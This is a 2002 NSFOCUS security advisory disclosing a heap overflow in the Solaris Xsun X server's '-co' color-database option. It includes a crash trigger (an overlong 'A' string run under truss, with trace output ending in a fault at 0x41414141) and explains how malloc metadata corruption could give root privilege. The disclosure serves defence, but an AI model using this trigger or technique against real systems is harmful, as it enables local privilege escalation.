NSFOCUS SA2002-01: Sun Solaris Xsun "-co" heap overflow

[Nsfocus Security Team <security () nsfocus com>]

NSFOCUS Security Advisory(SA2002-01)

Topic:  Sun Solaris Xsun "-co" heap overflow

Release Date: 2002-4-02

CVE CAN ID : CAN-2002-0158

Affected system:
================

 - Sun Solaris 2.6 (SPARC/x86)
 - Sun Solaris 7   (SPARC/x86) 
 - Sun Solaris 8   (SPARC/x86) 

Impact: 
=========

NSFOCUS Security Team has found a buffer overflow vulnerability in Xsun shiped 
with Solaris system when processing a command line parameter "-co", which could
enable a local attacker to run arbitrary code with root user/root group 
privilege.

Description:
============

Xsun is an Xwindow server (for X11) on Solaris platform. It is installed in 
/usr/openwin/bin/. On SPARC platform, it is configured to have setgid root 
attribute, and it is configured to have setuid root attribute on x86 platform.

Xsun supports a command line parameter "-co" to specify color database file.
But the application does not perform length check of filename inputted by user,
which would be used by an attacker to cause heap overflow. With carefully
constructed data, an attacker might be able to run arbitrary code with root
privilege.

In case that the attacker provide an overlong filename (for example, longer
than 6000 bytes) for the "-co", it would overflow a dynamic allocated buffer.
The attacker could modify arbitrary memory address (such as saved return 
address, and function pointer, etc.) with some features of malloc()/free() 
implementation by overwriting the border data structure of the next 
dynamic memory chunk.

On SPARC platform, attacker could obtain root group privilege; on x86
platform, attacker could obtain root user privilege.


Exploit:
==========

[root@ /tmp]> uname -a
SunOS sun8 5.8 Generic sun4u sparc SUNW,Ultra-5_10
[root@ /tmp]> truss /usr/openwin/bin/Xsun :1 -co `perl -e 'print "A"x6000'`
.....
mmap(0x00000000, 8404992, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_NORESERVE, 4, 0) = 0xFE400000
mprotect(0xFE400000, 8192, PROT_NONE)           = 0
mprotect(0xFEC02000, 8192, PROT_NONE)           = 0
open64("A...AAAAA", O_RDONLY) Err#78 ENAMETOOLONG
Couldn't open RGB_DB 'write(2, " C o u l d n ' t   o p e".., 22)        = 22
AAA...AAAAAAAAAAAAAAAAAAAAAAAAAAwrite(2, " A A A A A A A A A A A A".., 6000)    = 6000
'
write(2, " '\n", 2)                             = 2
getpid()                                        = 21677 [21676]
getrlimit(RLIMIT_NOFILE, 0xFFBEE3F8)            = 0
setrlimit(RLIMIT_NOFILE, 0xFFBEE3F8)            = 0
uname(0xFFBEDB30)                               = 1
getrlimit(RLIMIT_NOFILE, 0xFFBEE128)            = 0
so_socket(2, 2, 0, "", 1)                       = 0
setsockopt(0, 6, 1, 0xFFBEE124, 4, 1)           = 0
setsockopt(0, 65535, 8, 0xFFBEE120, 4, 1)       = 0
setsockopt(0, 65535, 4, 0xFFBEE194, 4, 1)       = 0
bind(0, 0xFFBEE1B8, 16, 3)                      = 0
setsockopt(0, 65535, 128, 0x00175D40, 8, 1)     = 0
listen(0, 5, 1)                                 = 0
getsockname(0, 0xFFBEE144, 0xFFBEE154, 1)       = 0
uname(0xFFBEDB30)                               = 1
    Incurred fault #5, FLTACCESS  %pc = 0xFECC14C8
      siginfo: SIGBUS BUS_ADRALN addr=0x41414141
    Received signal #10, SIGBUS [default]
      siginfo: SIGBUS BUS_ADRALN addr=0x41414141
        *** process killed ***

Workaround:
===================

Temporarily remove the suid root or sgid root attribute of Xsun:

# chmod a-s /usr/openwin/bin/Xsun


Vendor Status:
==============

2001.8.08  We have informed Sun of this problem.
2001.8.08  Sun replied that they have forward the problem to corresponding
           team, but no further response up to now.
           
In our testing, Xsun with the latest security patch still has the problem.

Additional Information:
========================

The Common Vulnerabilities and Exposures (CVE) project has 
assigned the name CAN-2002-0158 to this issue. This is a 
candidate for inclusion in the CVE list (http://cve.mitre.org),
which standardizes names for security problems.  Candidates 
may change significantly before they become official CVE entries.

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==========
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NSFOCUS Security Team <security () nsfocus com>
NSFOCUS INFORMATION TECHNOLOGY CO.,LTD
(http://www.nsfocus.com)